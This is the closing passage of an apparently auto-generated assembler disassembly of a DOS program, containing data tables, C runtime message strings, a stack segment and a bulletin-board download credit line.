  3250.         DB    8EH, 2, 0, 0, 0, 0
  3251.         DB    0FFH, 0
  3252.         DB    8 DUP (0)
  3253.         DB    9EH, 2, 0, 0, 0, 0
  3254.         DB    0FFH
  3255.         DB    9 DUP (0)
  3256.         DB    0AEH, 2, 0, 0, 0, 0
  3257.         DB    0FFH
  3258.         DB    9 DUP (0)
  3259.         DB    0BEH, 2, 0, 0, 0, 0
  3260.         DB    0FFH
  3261.         DB    9 DUP (0)
  3262.         DB    0CEH, 2, 0, 0, 0, 0
  3263.         DB    0FFH
  3264.         DB    9 DUP (0)
  3265.         DB    0DEH, 2, 0, 0, 0, 0
  3266.         DB    0FFH
  3267.         DB    9 DUP (0)
  3268.         DB    0EEH, 2, 0, 0, 0, 0
  3269.         DB    0FFH
  3270.         DB    9 DUP (0)
  3271.         DB    0FEH, 2, 0, 0, 0, 0
  3272.         DB    0FFH, 0
  3273.         DB    8 DUP (0)
  3274.         DB    0EH, 3, 0, 0, 0, 0
  3275.         DB    0FFH
  3276.         DB    9 DUP (0)
  3277.         DB    1EH, 3, 0, 0, 0, 0
  3278.         DB    0FFH
  3279.         DB    9 DUP (0)
  3280.         DB    2EH, 3, 0, 0, 0, 0
  3281.         DB    0FFH
  3282.         DB    9 DUP (0)
  3283.         DB    3EH, 3, 0, 0, 0, 0
  3284.         DB    0FFH
  3285.         DB    9 DUP (0)
  3286.         DB    4EH, 3, 0, 0, 0, 0
  3287.         DB    0FFH
  3288.         DB    9 DUP (0)
  3289.         DB    5EH, 3, 0, 0, 0, 0
  3290.         DB    0FFH
  3291.         DB    9 DUP (0)
  3292.         DB    6EH, 3, 1, 20H, 2, 20H
  3293.         DB    2, 20H, 4, 0A0H, 2, 0A0H
  3294.         DB    30 DUP (0FFH)
  3295.         DB    0, 0, 0, 0
  3296.         DB    'print scanf : floating point for'
  3297.         DB    'mats not linked', 0DH, 0AH
  3298.         DB    0, 0DH, 0, 28H, 6EH, 75H
  3299.         DB    6CH, 6CH, 29H, 0
  3300.         DB    '0123456789ABCDEF'
  3301. DATA_111    DB    0            ; Data table (indexed access)
  3302.         DB    14H, 14H, 1, 14H, 15H, 14H
  3303.         DB    14H, 14H, 14H, 2, 0, 14H
  3304.         DB    3, 4, 14H, 9, 5
  3305.         DB    8 DUP (5)
  3306.         DB    11 DUP (14H)
  3307.         DB    0FH, 17H, 0FH, 8, 14H, 14H
  3308.         DB    14H, 7, 14H, 16H
  3309.         DB    9 DUP (14H)
  3310.         DB    0DH, 14H, 14H
  3311.         DB    8 DUP (14H)
  3312.         DB    10H, 0AH, 0FH, 0FH, 0FH, 8
  3313.         DB    0AH, 14H, 14H, 6, 14H, 12H
  3314.         DB    0BH, 0EH, 14H, 14H, 11H, 14H
  3315.         DB    0CH, 14H, 14H
  3316.         DB    0DH
  3317.         DB    7 DUP (14H)
  3318.         DB    0
  3319. DATA_117    DW    1D2H
  3320.         DB    0D2H, 1, 0D9H, 1
  3321. ;*TA_118    DW    OFFSET SUB_53        ;*(0BCD)
  3322.         DB    0CDH, 0BH
  3323.         DB    0D2H, 0BH, 0D2H, 0BH, 0D2H, 0BH
  3324.         DB    0
  3325.         DB    63 DUP (0)
  3326. DATA_120    DW    0
  3327. DATA_121    DW    0
  3328. DATA_122    DW    0
  3329.         DB    0, 0, 0, 0, 0, 0
  3330.   
  3331. SEG_B        ENDS
  3332.   
  3333.   
  3334.   
  3335. ;--------------------------------------------------------- STACK_SEG_C  ---
  3336.   
  3337. STACK_SEG_C    SEGMENT    PARA STACK
  3338.   
  3339.         DB    128 DUP (0)
  3340.   
  3341. STACK_SEG_C    ENDS
  3342.   
  3343.   
  3344.   
  3345.         END    START
  3346.  
  3347. Downloaded From P-80 International Information Systems 304-744-2253
  3348.